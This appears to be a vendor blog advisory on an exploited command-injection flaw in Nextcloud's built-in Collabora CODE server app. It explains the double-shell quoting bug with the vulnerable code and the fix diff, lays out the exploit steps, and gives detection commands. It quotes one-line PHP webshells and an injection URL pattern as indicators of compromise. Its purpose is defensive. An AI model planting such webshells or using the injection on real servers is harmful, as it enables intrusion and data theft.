Collabora CODE Server RCE Exploited in the Wild (CVE-2026-110447)

TL;DR

• The "Collabora Online - Built-in CODE Server" app for Nextcloud (package richdocumentscode) runs a small PHP proxy, proxy.php, that starts the bundled Collabora server with a shell command. In versions before 26.4.303 the request's Host header and, on HTTPS, its path reach that shell command in a way PHP's escapeshellarg() does not protect, so an unauthenticated request can execute operating-system commands as the web server user.
• The attack works only while the built-in CODE server is not running: after a container restart, during an upgrade, or after a crash. Standalone Collabora servers, Collabora in Docker or distribution packages, and Nextcloud All-in-One deployments are not affected.
• Collabora rates the flaw Critical, CVSS v4.0 9.2. It is exploited in the wild: CISA added CVE-2026-110447 to the Known Exploited Vulnerabilities catalog on October 23, 2026 with a due date of October 26, 2026, and administrators reported attacks back to September 10, 2026 that planted PHP webshells.
• Upgrade the app to 26.4.303 or later, or remove the app if you do not use it. Collabora states that disabling the app is not sufficient.

Am I affected?

You are affected if all of these hold:

• Your Nextcloud has the app "Collabora Online - Built-in CODE Server" installed (package richdocumentscode).
• The installed version is older than 26.4.303.
• The built-in CODE server can be down: on a restart, during an upgrade, or after a crash. The app normally keeps it running, but the window is exactly when the attack fires.

You are not affected if you use the separate richdocuments connector app with an external Collabora server, a standalone Collabora Online server, Collabora from Docker or a Linux distribution package, a hosted Collabora service, or Nextcloud All-in-One.

Check what is installed. The app's version lives in its info.xml:

# Installed app version (adjust the path to your Nextcloud root)
grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml

# Is the app present at all? occ checks every app directory, including custom_apps/
sudo -u www-data php occ app:list | grep richdocumentscode

# Container image check
docker run --rm <your-image> grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml

The official Nextcloud Docker image installs App Store apps under custom_apps/ rather than apps/, so adjust the paths above accordingly. In the Nextcloud admin interface the version appears under Apps, next to "Collabora Online - Built-in CODE Server".

How do I fix it?

Upgrade the app from the Nextcloud App Store, in the admin interface under Apps, or with the occ command (run as your web server user):

sudo -u www-data php occ app:update richdocumentscode

The App Store serves 26.4.502 as the stable channel for Nextcloud 30 through 35. Any release at or above 26.4.303 contains the fix.

If you run an end-of-life Nextcloud (29 or older), the App Store line for those releases, 26.4.104, is older than the fixed release. Collabora's instruction for that case is to upgrade Nextcloud to a supported release and then update the app, or to remove the app. Removing the app is the right move if you do not use the built-in server.

Two things that do not work as mitigations:

• Disabling the app. Collabora's advisory states plainly: "It is not sufficient to disable the app to avoid the problem, it must be upgraded to >= 26.4.303 or removed." The reason is that proxy.php is a standalone script that the web server executes directly. It does not load the Nextcloud framework, so it never checks whether the app is enabled, and the file stays reachable over HTTP while it is on disk.
• Keeping the CODE server running. It goes down on every restart, upgrade and crash, and those windows are the attack window.

What is the root cause?

OS command injection means an attacker's input reaches a shell command and changes what the shell executes. The injection point is the startCoolwsd() function in proxy.php.

The built-in CODE Server app ships Collabora as an AppImage and starts it on demand. When a request arrives and the local Collabora service is not running, proxy.php builds a launch command that includes the request's own Host header and, on HTTPS, its path:

// proxy.php, startCoolwsd(), release 26.4.302
$remoteFontConfig = "";
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
{
    $remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] . preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
    $remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;
}
...
$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
...
exec($launchCmd, $output, $return);

Line by line:

• $_SERVER['HTTP_HOST'] is the Host header of the incoming request, fully attacker-controlled.
• $_SERVER['REQUEST_URI'] is the request path and query, also attacker-controlled. On HTTPS requests it is placed into $remoteFontConfig. This is the vector seen in the wild: the requests in the webshell report put the shell syntax in the path, as in /x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?status.
• escapeshellarg() wraps each value in single quotes. That protects a value used as one argument in one shell command.
• The result is interpolated into $launchCmd, which is a double-quoted string containing bash -c "( ... )".
• exec($launchCmd) hands the whole line to the operating system shell.

The flaw is the second shell layer. Inside the double-quoted bash -c "..." segment, the single quotes that escapeshellarg() added are literal characters with no quoting power, and the segment is parsed by a shell again when the outer shell builds the argument for bash. A Host header containing shell syntax such as command substitution survives the single-quoting and is interpreted at that second parse. One quoting decision, made for a single-shell context, was reused in a two-shell context.

The fix in 26.4.303 quotes the entire inner command instead of trusting the per-value quoting to survive:

 // proxy.php, startCoolwsd(), release 26.4.303
-    $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
+    $innerCmd = "( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown";
+    $launchCmd = "bash -c " . escapeshellarg($innerCmd);

Now bash -c receives the whole launch script as one safely quoted argument, and nothing inside it, including the Host header and request path values, is re-parsed by an outer shell.

The advisory notes this is not the same path as CVE-2025-66208, and that the fix for that earlier issue does not prevent this one.

How is it exploited?

No proof of concept is attached to the advisory, but the exploit path is short, and administrator reports describe it in use since mid-September 2026:

1. The attacker's request reaches proxy.php. The script accepts a status query and a req= query, with no authentication; it is the app's entry point for proxying requests to the built-in Collabora server.
2. The built-in CODE server is not running: the container just restarted, an upgrade is in progress, or the server crashed. proxy.php cannot open its local socket, so it calls startCoolwsd().
3. The attacker's input, shell syntax in the request path (as in the attacks reported in the wild) or in the Host header, is passed through escapeshellarg() into the launch command's double-quoted bash -c string.
4. exec($launchCmd) runs the line through the system shell. The double-quoted segment is parsed again, the header's shell syntax executes, and the command runs as the web server user, typically www-data.
5. With command execution in the web server user, the attacker writes a PHP webshell into the app directory, which is served by the same web server. From there the requests look like ordinary PHP traffic.

Attack flow

The missing check is between D and E: nothing re-quotes the Host header or request path value for the second shell layer.

What can an attacker do?

Command execution as the web server user on the Nextcloud host. Administrator reports collected by BleepingComputer describe attackers using that access to search for password databases, password manager artifacts and cryptocurrency wallets, and planting PHP webshells for persistence. Some users reported ransomware activity, which BleepingComputer could not independently confirm.

The conditions the attack needs, all of which are common:

• The app is installed and older than 26.4.303.
• The built-in CODE server is not running at that moment.
• proxy.php is reachable over the network. The CVSS v4.0 vector is AV:N/AC:L/AT:P/PR:N/UI:N, with no privileges and no user interaction; attack requirements are present exactly because the server-down window is needed.

Attackers do not need a Nextcloud account. The CISA KEV entry lists the due date for federal agencies as October 26, 2026, marks the ransomware question as unknown, and requires forensic triage per BOD 26-04.

Why does the fix work?

The patch, visible in the 26.4.302 to 26.4.303 comparison, replaces per-value quoting with quoting of the whole command. escapeshellarg($innerCmd) makes the launch script a single shell argument: whatever bytes the Host header and request path contributed are inside that one argument, and no outer shell ever interprets them as syntax. The fix covers both attacker-controlled values: the Host header in $lok_allow and the remote font configuration URL in $remoteFontConfig, which is built from the Host header and the request path (REQUEST_URI). Both travel inside $innerCmd, so both are covered by the same quoting.

One caveat stays: the app still starts a large binary with exec() from a web request. That design is why the bug mattered, but the fixed quoting removes the attacker's influence over the command.

How do I check if I was compromised?

No indicators of compromise have been published by Collabora or CISA beyond the attack reports in coverage and forum posts. From those reports:

• Look for unexpected PHP files inside the app directory. The webshell report on the richdocumentscode issue tracker lists files named shx*.php and shrf*.php (for example shxa35d0.php and shrf4645.php) containing <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');. One administrator's Nextcloud integrity check flagged an extra file, Nx_33143.php, at apps/richdocumentscode/, containing a one-line webshell: <?php system($_GET[c]);. Run the integrity check under Administration settings, or examine the app folder directly:

# Unexpected PHP files in the app folder (apps/ or custom_apps/)
find apps/richdocumentscode custom_apps/richdocumentscode -name '*.php' 2>/dev/null | sort

# The reported webshell file names
find apps/richdocumentscode custom_apps/richdocumentscode \( -name 'sh*.php' -o -name 'Nx_*.php' \) 2>/dev/null

# The reported webshell patterns
grep -rlE 'system\(\$_GET|shell_exec\(' apps/richdocumentscode/ custom_apps/richdocumentscode/ 2>/dev/null

• Review web server access logs back to September 10, 2026, the earliest date in the administrator reports, for requests to proxy.php, including proxy.php?status requests, requests whose path contains shell syntax such as $( (the reported attacks used paths like /x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?status), and requests whose Host header values are not your domain.
• Assume the web server user's readable secrets are exposed: the database password in config.php, app passwords, and anything in reachable data directories. Rotate them.

Timeline

• September 9, 2026: Collabora commits the fix.
• September 10, 2026: the earliest attack traffic in administrator reports.
• September 11, 2026: richdocumentscode 26.4.303 is released, per its changelog.
• October 3, 2026: a community warning about ongoing exploitation is posted on the Nextcloud forum.
• October 14, 2026: Collabora publishes advisory GHSA-g3vx-3m76-fghh and CVE-2026-110447 is published. The same flaw is also tracked as GHSA-F97P-R72Q-64H2 for the richdocumentscode package.
• October 15, 2026: BleepingComputer reports the attacks and the month-long gap between fix and advisory.
• October 23, 2026: CISA adds CVE-2026-110447 to the KEV catalog, due October 26, 2026.
• October 24, 2026: this post. Exploitation in the wild is confirmed by the KEV listing.

FAQ

Is the separate Collabora server or the richdocuments app affected?

No. The flaw is in the built-in CODE Server app's proxy.php, which exists to start the bundled AppImage. Standalone Collabora Online servers, Collabora in Docker or distribution packages, hosted Collabora services, and Nextcloud All-in-One deployments are not affected.

I disabled the app. Am I safe?

No. Collabora's advisory is explicit: disabling the app is not sufficient, it must be upgraded to 26.4.303 or later or removed. Upgrade or remove it.

Is this the same flaw as CVE-2025-66208?

No. The advisory states this is not the same path as the earlier CVE-2025-66208, and the fix for that issue does not prevent this one. The 26.4.303 patch is required regardless of whether you applied the earlier fix.

Why did the CVE take a month to appear?

The fix shipped on September 11, 2026, and the advisory and CVE were published on October 14, 2026. Collabora attributed the delay primarily to GitHub CVE-processing backlogs strained by increasing volumes of AI-driven security reports; Nextcloud said the interval gave users time to update. Attackers did not wait: administrator reports describe attacks from September 10 onward.

My instance runs an end-of-life Nextcloud. What now?

The App Store line for Nextcloud 29 and older, 26.4.104, is below the fixed release, so updating the app there does not fix the issue. Upgrade Nextcloud to a supported release and then the app, or remove the app entirely.

How do I confirm the app is running the fixed version?

Check apps/richdocumentscode/appinfo/info.xml for a version at or above 26.4.303, or read the version in the Apps screen of the admin interface. The current stable line for supported Nextcloud releases is 26.4.502.

Use Ostorlab to scan your web assets and surface the Nextcloud and Collabora versions they expose, including instances still running the affected app.

References

• Collabora advisory GHSA-g3vx-3m76-fghh: https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh (checked October 24, 2026)
• CISA KEV catalog entry for CVE-2026-110447, added October 23, 2026, due October 26, 2026: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (checked October 24, 2026)
• Fix diff, richdocumentscode 26.4.302 to 26.4.303: https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303 (checked October 24, 2026)
• Vulnerable proxy.php at tag 26.4.302: https://raw.githubusercontent.com/CollaboraOnline/richdocumentscode/26.4.302/proxy.php (checked October 24, 2026)
• BleepingComputer, "Hackers exploit Collabora RCE flaw to backdoor Nextcloud servers", October 15, 2026: https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers/ (checked October 24, 2026)
• Nextcloud forum warning with the webshell report: https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516 (checked October 24, 2026)
• Webshell report issue: https://github.com/CollaboraOnline/richdocumentscode/issues/354 (checked October 24, 2026)
• CVE-2026-110447 record: https://nvd.nist.gov/vuln/detail/CVE-2026-110447 (checked October 24, 2026)
• Nextcloud App Store page for richdocumentscode: https://apps.nextcloud.com/apps/richdocumentscode (checked October 24, 2026)